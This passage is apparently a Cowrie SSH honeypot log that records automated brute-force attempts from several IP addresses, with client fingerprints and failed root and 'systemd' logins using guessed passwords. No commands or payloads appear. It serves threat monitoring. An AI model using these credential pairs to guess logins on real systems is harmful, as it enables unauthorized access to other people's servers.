{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":60804,"dst_ip":"159.203.135.109","dst_port":22,"session":"410e073eb0ab","protocol":"ssh","message":"New connection: 156.38.73.89:60804 (159.203.135.109:22) [session: 410e073eb0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:50.214910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:50.219729Z","src_ip":"156.38.73.89","session":"410e073eb0ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:50.408117Z","src_ip":"156.38.73.89","session":"410e073eb0ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:51.191433Z","src_ip":"156.38.73.89","session":"410e073eb0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:52.382617Z","src_ip":"156.38.73.89","session":"410e073eb0ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":41338,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e6a892a089","protocol":"ssh","message":"New connection: 51.250.105.222:41338 (159.203.135.109:22) [session: c9e6a892a089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:16.022298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:16.027535Z","src_ip":"51.250.105.222","session":"c9e6a892a089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:16.171456Z","src_ip":"51.250.105.222","session":"c9e6a892a089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:16.541703Z","src_ip":"51.250.105.222","session":"c9e6a892a089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45090,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe3e57a3f67","protocol":"ssh","message":"New connection: 147.45.211.215:45090 (10.17.0.5:22) [session: 1fe3e57a3f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:16.756553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:16.761425Z","src_ip":"147.45.211.215","session":"1fe3e57a3f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:16.933515Z","src_ip":"147.45.211.215","session":"1fe3e57a3f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sokolik","message":"login attempt [root/sokolik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:17.456217Z","src_ip":"147.45.211.215","session":"1fe3e57a3f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:17.667853Z","src_ip":"51.250.105.222","session":"c9e6a892a089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:18.638970Z","src_ip":"147.45.211.215","session":"1fe3e57a3f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48080,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8745bdfd87b","protocol":"ssh","message":"New connection: 103.15.222.183:48080 (10.17.0.5:22) [session: e8745bdfd87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:50.498079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:50.502954Z","src_ip":"103.15.222.183","session":"e8745bdfd87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:50.758294Z","src_ip":"103.15.222.183","session":"e8745bdfd87b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:51.505765Z","src_ip":"103.15.222.183","session":"e8745bdfd87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:41:52.758341Z","src_ip":"103.15.222.183","session":"e8745bdfd87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":41442,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa831f95911","protocol":"ssh","message":"New connection: 103.189.234.9:41442 (10.17.0.5:22) [session: aaa831f95911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:42:05.204580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:42:05.209694Z","src_ip":"103.189.234.9","session":"aaa831f95911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:42:05.448596Z","src_ip":"103.189.234.9","session":"aaa831f95911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456!","message":"login attempt [root/qwe123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:42:06.427625Z","src_ip":"103.189.234.9","session":"aaa831f95911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:42:07.667709Z","src_ip":"103.189.234.9","session":"aaa831f95911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":43954,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e5e9359fc2","protocol":"ssh","message":"New connection: 103.189.234.9:43954 (10.17.0.5:22) [session: 12e5e9359fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:43:42.324921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:43:42.329179Z","src_ip":"103.189.234.9","session":"12e5e9359fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:43:42.559309Z","src_ip":"103.189.234.9","session":"12e5e9359fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"90-=op[]","message":"login attempt [root/90-=op[]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:43:43.511149Z","src_ip":"103.189.234.9","session":"12e5e9359fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:43:44.745620Z","src_ip":"103.189.234.9","session":"12e5e9359fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":60286,"dst_ip":"159.203.135.109","dst_port":22,"session":"52c72589ce26","protocol":"ssh","message":"New connection: 103.107.60.45:60286 (159.203.135.109:22) [session: 52c72589ce26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:05.632992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:05.638228Z","src_ip":"103.107.60.45","session":"52c72589ce26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:05.852679Z","src_ip":"103.107.60.45","session":"52c72589ce26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e#E@W!Q","message":"login attempt [root/1q2w3e#E@W!Q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:06.745445Z","src_ip":"103.107.60.45","session":"52c72589ce26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:07.964549Z","src_ip":"103.107.60.45","session":"52c72589ce26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45940,"dst_ip":"10.17.0.5","dst_port":22,"session":"62cdb57bd20f","protocol":"ssh","message":"New connection: 103.27.238.116:45940 (10.17.0.5:22) [session: 62cdb57bd20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:22.069278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:22.074516Z","src_ip":"103.27.238.116","session":"62cdb57bd20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:22.351649Z","src_ip":"103.27.238.116","session":"62cdb57bd20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":37198,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e941440057c","protocol":"ssh","message":"New connection: 103.27.238.120:37198 (10.17.0.5:22) [session: 0e941440057c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:23.076668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:23.085450Z","src_ip":"103.27.238.120","session":"0e941440057c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123-123","message":"login attempt [root/123-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:44:23.179280Z","src_ip":"103.27.238.116","session":"62cdb57bd20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-g